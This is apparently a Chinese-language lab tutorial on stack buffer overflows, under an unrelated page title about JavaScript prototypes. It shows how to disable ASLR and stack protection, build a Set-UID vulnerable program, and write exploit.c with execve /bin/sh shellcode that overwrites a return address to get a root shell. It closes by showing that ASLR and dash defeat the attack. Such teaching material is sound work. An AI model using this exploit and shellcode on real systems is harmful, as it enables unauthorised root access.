1. 程式人生 > 程式設計 >一文徹底理解js原生語法prototype,__proto__和constructor

一文徹底理解js原生語法prototype,__proto__和constructor

緩衝區溢位

緩衝區溢位原理

緩衝區溢位是指程式試圖向緩衝區寫入超出預分配固定長度資料的情況。這一漏洞可以被惡意使用者利用來改變程式的流控制,甚至執行程式碼的任意片段。這一漏洞的出現是由於資料緩衝器和返回地址的暫時關閉,溢位會引起返回地址被重寫。

初始化設定

1、Ubuntu 和其他一些 Linux 系統中,使用地址空間隨機化來隨機堆(heap)和棧(stack)的初始地址,這使得猜測準確的記憶體地址變得十分困難,而猜測記憶體地址是緩衝區溢位攻擊的關鍵。因此本次實驗中,我們使用以下命令關閉這一功能:
sudo sysctl -w kernel.randomize_va_space=0

2、此外,為了進一步防範緩衝區溢位攻擊及其它利用 shell 程式的攻擊,許多shell程式在被呼叫時自動放棄它們的特權。因此,即使你能欺騙一個 Set-UID 程式呼叫一個 shell,也不能在這個 shell 中保持 root 許可權,這個防護措施在 /bin/bash 中實現。

linux 系統中,/bin/sh 實際是指向 /bin/bash 或 /bin/dash 的一個符號連結。為了重現這一防護措施被實現之前的情形,我們使用另一個 shell 程式(zsh)代替 /bin/bash。下面的指令描述瞭如何設定 zsh 程式:


3、輸入命令 linux32 進入32位linux環境。此時你會發現,命令列用起來沒那麼爽了,比如不能tab補全了,輸入 /bin/bash 使用bash:

shellcode

一般情況下,緩衝區溢位會造成程式崩潰,在程式中,溢位的資料覆蓋了返回地址。而如果覆蓋返回地址的資料是另一個地址,那麼程式就會跳轉到該地址,如果該地址存放的是一段精心設計的程式碼用於實現其他功能,這段程式碼就是 shellcode。

#include <stdio.h>
int main()
{
    char *name[2];
    name[0] = "/bin/sh";
    name[1] = NULL;
    execve(name[0], name, NULL);
}

漏洞程式

在子目錄下建立stack.c

編譯該程式,並設定 SET-UID。命令如下:

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC編譯器有一種棧保護機制來阻止緩衝區溢位,所以我們在編譯程式碼時需要用–fno-stack-protector關閉這種機制。 而-z execstack用於允許執行棧。
-g引數是為了使編譯後得到的可執行文件能用gdb除錯。

攻擊程式

我們的目的是攻擊剛才的漏洞程式,並通過攻擊獲得 root 許可權。
在 /tmp 目錄下新建一個 exploit.c 檔案,輸入如下內容:

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[] =
    "\x31\xc0" //xorl %eax,%eax
    "\x50"     //pushl %eax
    "\x68""//sh" //pushl $0x68732f2f
    "\x68""/bin"     //pushl $0x6e69622f
    "\x89\xe3" //movl %esp,%ebx
    "\x50"     //pushl %eax
    "\x53"     //pushl %ebx
    "\x89\xe1" //movl %esp,%ecx
    "\x99"     //cdq
    "\xb0\x0b" //movb $0x0b,%al
    "\xcd\x80" //int $0x80
    ;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");   //在buffer特定偏移處起始的四個位元組覆蓋sellcode地址  
    strcpy(buffer + 100, shellcode);   //將shellcode拷貝至buffer,偏移量設為了 100

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}

注意上面的程式碼,\x??\x??\x??\x?? 處需要添上 shellcode 儲存在記憶體中的地址,因為發生溢位後這個位置剛好可以覆蓋返回地址。而 strcpy(buffer+100,shellcode); 這一句又告訴我們,shellcode 儲存在 buffer + 100 的位置。下面我們將詳細介紹如何獲得我們需要新增的地址。

現在我們要得到 shellcode 在記憶體中的地址,輸入命令進入 gdb 除錯:

gdb stack
disass main



根據語句 strcpy(buffer + 100,shellcode); 我們計算 shellcode 的地址為 0xffffcfb0 + 0x64 = 0xffffd014
修改 exploit.c 檔案,將 \x??\x??\x??\x?? 修改為計算的結果 \x14\xd0\xff\xff,注意順序是反的。
然後,編譯 exploit.c 程式:

gcc -m32 -o exploit exploit.c

攻擊結果

1、可見,通過攻擊,獲得了root 許可權!

2、通過命令 sudo sysctl -w kernel.randomize_va_space=2 開啟系統的地址空間隨機化機制,重複用 exploit 程式攻擊 stack 程式,不能獲得root許可權。

3、將 /bin/sh 重新指向 /bin/bash(或/bin/dash),不能獲得 root 許可權。